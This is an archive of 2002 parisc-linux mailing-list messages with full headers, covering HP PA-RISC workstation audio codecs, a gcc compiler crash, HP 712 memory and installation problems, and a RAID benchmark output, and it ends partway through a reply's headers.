Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620937 554 80.91.229.3 (22 Nov 2014 01:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 07:13:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC760482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 07:13:06 -0700 (MST)
Original-Received: from tsbogend by elvis.franken.de with local (Exim 3.22 #1)
	id 16NwYO-0006ZK-00; Tue, 08 Jan 2002 14:44:36 +0100
Content-Disposition: inline
In-Reply-To: <200201081230.FAA22547@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13641

On Tue, Jan 08, 2002 at 05:30:04AM -0700, John Marvin wrote:
> The audio codec on the 705/710 is a Siemens PSB 2160. I tried looking
> on their website for information, and the only info I found was that
> it was replaced by the PSB 2161. I don't know if you can still find
> documentation on that old chip, or if the PSB 2161 is programmatically
> similar. I cannot currently locate my printed documentation on the
> chip.

I have a dead tree version of the datasheet here and compared
it to the PSB2161. The internal registers are different. The PSB2160
has less features, so some of the config bits of the PSB2161 aren't
available and common bits are sometimes shifted around.

> The interface to the PSB 2160 is the same as what was developed for
> "Woody", otherwise known as a 425e, which was a 68040 based HP
> workstation. I've enclosed what little documentation exists for
> the 68040 interface. If you can find documentation on the PSB 2160
> then you should be able to use the following information to write
> a driver.

yes, looks doable. I'm not sure, whether I have the time to it myself,
but I could help people with questions about the PSB2160 config registers
(I'll write the register bits down and put it online during the next days).

Thomas.




From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Tue, 8 Jan 2002 15:33:35 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020108153335.B28664@electra.intern.planb.de>
References: <200201081230.FAA22547@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620937 558 80.91.229.3 (22 Nov 2014 01:48:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 07:33:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26259482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 07:33:38 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16NxJn-0002HM-00; Tue, 08 Jan 2002 15:33:35 +0100
Content-Disposition: inline
In-Reply-To: <200201081230.FAA22547@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13642

John,

On Tue, Jan 08, 2002 at 05:30:04AM -0700, John Marvin wrote:
> The audio codec on the 705/710 is a Siemens PSB 2160. I tried looking
> on their website for information, and the only info I found was that
> it was replaced by the PSB 2161. I don't know if you can still find
> documentation on that old chip, or if the PSB 2161 is programmatically
> similar. I cannot currently locate my printed documentation on the
> chip.

Tanks for the information, anyway. Helps a lot.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] any info on 710/Bushmaster Audio available?
Date: Tue, 8 Jan 2002 15:35:11 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20020108153510.C28664@electra.intern.planb.de>
References: <200201081230.FAA22547@udlkern.fc.hp.com> <20020108134436.GA24909@elvis.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620938 561 80.91.229.3 (22 Nov 2014 01:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tsbogend@alpha.franken.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 07:35:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9B184831
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 07:35:11 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16NxLK-0002HW-00; Tue, 08 Jan 2002 15:35:10 +0100
Content-Disposition: inline
In-Reply-To: <20020108134436.GA24909@elvis.franken.de>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13643

On Tue, Jan 08, 2002 at 02:44:36PM +0100, Thomas Bogendoerfer wrote:
> [PSB216 audio]
> yes, looks doable. I'm not sure, whether I have the time to it myself,
> but I could help people with questions about the PSB2160 config registers
> (I'll write the register bits down and put it online during the next days).

Thanks in advance.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Date: Tue, 8 Jan 2002 10:45:33 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200201081545.g08FjX7A003677@hiauly1.hia.nrc.ca>
References: <20020108073218.GC16533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620938 565 80.91.229.3 (22 Nov 2014 01:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 08:45:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFAA6482A
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jan 2002 08:45:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g08FjY7c003679
	for <parisc-linux@parisc-linux.org>; Tue, 8 Jan 2002 10:45:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g08FjX7A003677;
	Tue, 8 Jan 2002 10:45:33 -0500 (EST)
In-Reply-To: <20020108073218.GC16533@tausq.org> from "Randolph Chung" at Jan 7, 2002 11:32:18 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13644

> > What version of bison are you using?  I suspect that 1.29 may have problems.
> > I am currently using 1.30.  I also think 1.28 is ok.  I saw one instance
> > of a problem similar to this with 1.29, although it wasn't on the PA.
> 
> i'm already using 1.30 unfortunately.

Then, I suggest trying with gcc-3.1 (prerelease).  It has quite a few
bug fixes that 3.0.3 doesn't have although it hasn't been tested much
on linux.  C and C++ definitely are in better shape.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit of Plasma <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 712/60
Date: Tue, 08 Jan 2002 15:55:09 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <3C3B165D.2030101@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620938 569 80.91.229.3 (22 Nov 2014 01:48:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:58 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 08:45:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp018.mail.yahoo.com (smtp018.mail.yahoo.com [216.136.174.115])
	by dsl2.external.hp.com (Postfix) with SMTP id A56BE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 08:45:55 -0700 (MST)
Original-Received: from m116-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.144.116)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 8 Jan 2002 15:45:53 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13645

Hi!
I have a HP 712/60 sitting in my room doing nothing, it has no memory so i'm debating whether or not i should get it up and running.
Basicly, anybody know what memory it uses (i assume ecc 72-pin simm) and anybody know what it performs like or whats supported in linux (sound/gfx/lan)
Thanks for any help ;P

--jbit


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sorin Ghinescu" <sghinesc@columbus.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/80 and Quantum Fireball 1050MB HD problem
Date: Tue, 8 Jan 2002 11:27:10 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <001001c19861$55b59de0$0800a8c0@beta>
References: <20020103180330.464F9482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620939 573 80.91.229.3 (22 Nov 2014 01:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 09:27:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from clmboh1-smtp3.columbus.rr.com (clmboh1-smtp3.columbus.rr.com [65.24.0.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97FDB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 09:27:53 -0700 (MST)
Original-Received: from beta (dhcp065-024-157-127.columbus.rr.com [65.24.157.127])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id g08GN9F07616
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Jan 2002 11:23:09 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <20020103180330.464F9482E@dsl2.external.hp.com>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13646

Help with the following problem would be much appreciated:

I boot parisc-linux from cd-drive and everything goes fine except the HD
is not detected. All other hardware is correctly detected. The
installation program recommends passing args to boot: or load
appropriate module.

Has anyone experienced this kind of problem?
Thanks
Sorin





From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jaap Boender <jaapb@kerguelen.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing from network
Date: Tue, 08 Jan 2002 17:47:39 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <200201081647.g08Gld801781@loranchet.kerguelen.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620939 574 80.91.229.3 (22 Nov 2014 01:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 09:47:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from courbet.kerguelen.org (catv9055.extern.kun.nl [131.174.119.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21596482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 09:47:51 -0700 (MST)
Original-Received: from loranchet.kerguelen.org (loranchet.kerguelen.org [172.16.0.4])
	by courbet.kerguelen.org (8.11.3nb1/8.11.0) with ESMTP id g08GllV17503
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Jan 2002 17:47:48 +0100 (CET)
Original-Received: from loranchet.kerguelen.org (localhost [127.0.0.1])
	by loranchet.kerguelen.org (8.11.3nb1/8.11.0) with ESMTP id g08Gld801781
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Jan 2002 17:47:40 +0100 (CET)
X-Mailer: nmh-1.0
X-Organization: Kerguelen
X-Bruce: This is the wattle, it's the emblem of our land!
X-Rule-Six: You can stick it in a bottle, you can hold it in your hand!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13647

Hi,

I've got a 712/60, on which I'd like to install Linux. So, being of simple
mind, I downloaded the palinux-0.9.3-base ISO image and set up DHCP so the
712 boots this file. This works quite well - up to a point. The image boots,
and the installer starts; however, when it wants to install a kernel and
drivers onto the hard drive, it hangs. I can restart the installer with Ctrl-C
at this point, but I can't get past this point in the installation. 

Manually unpacking the drivers.tgz file from a shell gives the same result.

So, am I doing something wrong, or is it simply lack of memory (the box only
has 16 Mb), or should I just boot another way? I'd appreciate any help.

Yours,

  Jaap Boender
---
Coffee, Coffee mu ich haben,
Und wenn jemand mich will laben,
Ach, so schenkt mir Coffee ein!
  -- J.S. Bach / Picander, Kaffee-Kantate



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing from network
Date: Tue, 8 Jan 2002 17:44:20 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20020108174420.GP25927@sleepie.demon.co.uk>
References: <200201081647.g08Gld801781@loranchet.kerguelen.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620939 578 80.91.229.3 (22 Nov 2014 01:48:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jaap Boender <jaapb@kerguelen.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 10:54:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 324C7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 10:54:01 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 67C349E7E5; Tue,  8 Jan 2002 17:44:20 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <200201081647.g08Gld801781@loranchet.kerguelen.org>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13648

On Tue, Jan 08, 2002 at 05:47:39PM +0100, Jaap Boender wrote:
> Hi,
> 
> I've got a 712/60, on which I'd like to install Linux. So, being of simple
> mind, I downloaded the palinux-0.9.3-base ISO image and set up DHCP so the
> 712 boots this file. This works quite well - up to a point. The image boots,
> and the installer starts; however, when it wants to install a kernel and
> drivers onto the hard drive, it hangs. I can restart the installer with Ctrl-C
> at this point, but I can't get past this point in the installation. 
> 
> Manually unpacking the drivers.tgz file from a shell gives the same result.
> 
> So, am I doing something wrong, or is it simply lack of memory (the box only
> has 16 Mb), or should I just boot another way? I'd appreciate any help.

You want to boot a file known as a lifimage, not the ISO.  The ISO is a
CD image.  If you burn a CD from the image you should find 'lifimage'
somewhere like

dists/woody/main/disks-hppa/current/lifimage

Alternatively you could grab that file from somewhere like

<http://http.us.debian.org/debian/dists/woody/main/disks-hppa/current/lifimage>

Personally I'd burn that ISO, or loopback mount it, and export it from
a server via http or nfs.

16MB is rather small though, so it might be that you won't be
successful without adding more memory.  I'd guess that it would run ok
once installed, but the installer needs 6MB for a ramdisk.  Make sure you
define a swap partition and that it is activated.

Richard




From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAID - speed measure
Date: Tue, 8 Jan 2002 19:17:45 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <16O0kw-0Ci6ASC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620940 581 80.91.229.3 (22 Nov 2014 01:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:00 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 11:14:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC352482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 11:14:01 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout04.sul.t-online.de with smtp 
	id 16O0l4-0000Ms-0A; Tue, 08 Jan 2002 19:13:58 +0100
Original-Received: from there (320008472305-0001@[217.228.101.216]) by fwd05.sul.t-online.com
	with smtp id 16O0kw-0Ci6ASC; Tue, 8 Jan 2002 19:13:50 +0100
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13649

It's of course not mem speed measure as mentioned before in the forum :-)
It's RAID - spped measure. stupid fault.

raid5: measuring checksumming speed
   8regs     : 77961.200 MB/sec
   8regs_prefetch:    56.400 MB/sec
   32regs    :    94.800 MB/sec
   32regs_prefetch:    95.200 MB/sec
raid5: using function: 8regs (77961.200 MB/sec)

But anyway, it's strange. Perhaps only a missing division /1000.



From - Thu Nov 08 21:21:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 712/60
Date: Tue, 8 Jan 2002 16:44:39 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20020108164439.W11181@systemhalted>
References: <3C3B165D.2030101@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620940 582 80.91.229.3 (22 Nov 2014 01:49:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jbit of Plasma <james_a_n_lee@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  8 14:43:45 2002
